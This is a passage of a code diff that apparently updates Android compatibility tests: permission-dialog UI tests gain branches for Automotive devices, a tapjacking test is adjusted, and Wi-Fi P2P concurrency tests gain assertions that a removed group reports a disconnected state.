waitForIdle()
eventually {
// UiObject2 doesn't expose CharSequence.
- val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
- "com.android.permissioncontroller:id/detail_message"
- )[0]
+ val node = if (isAutomotive) {
+ uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+ "Allow in settings."
+ )[0]
+ } else {
+ uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+ "com.android.permissioncontroller:id/detail_message"
+ )[0]
+ }
assertTrue(node.isVisibleToUser)
val text = node.text as Spanned
val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -343,20 +392,25 @@
waitForIdle()
}
- protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
- click(
- By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON)
- )
+ protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+ } else {
+ click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+ }
+ }
+ // Only used in TV and Watch form factors
protected fun clickPermissionRequestDontAskAgainButton() =
click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
- protected fun clickPermissionRequestNoUpgradeButton() =
- click(By.res(NO_UPGRADE_BUTTON))
-
- protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
- By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON)
- )
+ protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+ } else {
+ click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+ }
+ }
protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -412,6 +466,10 @@
}
val wasGranted = if (isTv) {
false
+ } else if (isAutomotive) {
+ // Automotive doesn't support one time permissions, and thus
+ // won't show an "Ask every time" message
+ !waitFindObject(byTextRes(R.string.deny)).isChecked
} else {
!(waitFindObject(byTextRes(R.string.deny)).isChecked ||
(!isLegacyApp && hasAskButton(permission) &&
@@ -423,24 +481,34 @@
} else {
val button = waitFindObject(
byTextRes(
- when (state) {
- PermissionState.ALLOWED ->
- if (showsForegroundOnlyButton(permission)) {
- R.string.allow_foreground
- } else if (isMediaStorageButton(permission, targetSdk)) {
- R.string.allow_media_storage
- } else if (isAllStorageButton(permission, targetSdk)) {
- R.string.allow_external_storage
- } else {
- R.string.allow
- }
- PermissionState.DENIED ->
- if (!isLegacyApp && hasAskButton(permission)) {
- R.string.ask
- } else {
- R.string.deny
- }
- PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ if (isAutomotive) {
+ // Automotive doesn't support one time permissions, and thus
+ // won't show an "Ask every time" message
+ when (state) {
+ PermissionState.ALLOWED -> R.string.allow
+ PermissionState.DENIED -> R.string.deny
+ PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ }
+ } else {
+ when (state) {
+ PermissionState.ALLOWED ->
+ if (showsForegroundOnlyButton(permission)) {
+ R.string.allow_foreground
+ } else if (isMediaStorageButton(permission, targetSdk)) {
+ R.string.allow_media_storage
+ } else if (isAllStorageButton(permission, targetSdk)) {
+ R.string.allow_external_storage
+ } else {
+ R.string.allow
+ }
+ PermissionState.DENIED ->
+ if (!isLegacyApp && hasAskButton(permission)) {
+ R.string.ask
+ } else {
+ R.string.deny
+ }
+ PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ }
}
)
)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 01b4058..f2f2a10 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -45,7 +45,7 @@
SystemUtil.eventually({
if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
PackageManager.PERMISSION_DENIED) {
- waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 100).click()
+ clickPermissionRequestAllowForegroundButton(100)
}
assertAppHasPermission(ACCESS_FINE_LOCATION, true)
}, 10000)
@@ -54,6 +54,10 @@
}
// Permission should not be granted and dialog should still be showing
assertAppHasPermission(ACCESS_FINE_LOCATION, false)
- waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 1000)
+
+ // On Automotive the dialog gets closed by the tapjacking activity popping up
+ if (!isAutomotive) {
+ clickPermissionRequestAllowForegroundButton()
+ }
}
}
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
clickPermissionRequestSettingsLink()
eventually {
pressBack()
- waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ if (isAutomotive) {
+ waitFindObject(By.textContains("Allow in settings."), 100)
+ } else {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ }
}
}
@@ -181,8 +185,9 @@
android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
) {
clickPermissionRequestSettingsLinkAndDeny()
+ waitForIdle()
+ pressBack()
}
- pressBack()
assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
clickAllowAlwaysInSettings()
+ waitForIdle()
pressBack()
}
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
mMySync.pendingSync.set(MySync.NETWORK_INFO);
mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
WifiP2pManager.EXTRA_NETWORK_INFO, null);
+ Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+ + mMySync.expectedNetworkInfo);
mMySync.notify();
}
}
@@ -520,6 +522,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
}
private String getDeviceName() {
@@ -604,6 +610,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
WifiP2pGroupList persistentGroups = getPersistentGroups();
assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
resetResponse(mMyResponse);
ShellIdentityUtils.invokeWithShellPermissions(() -> {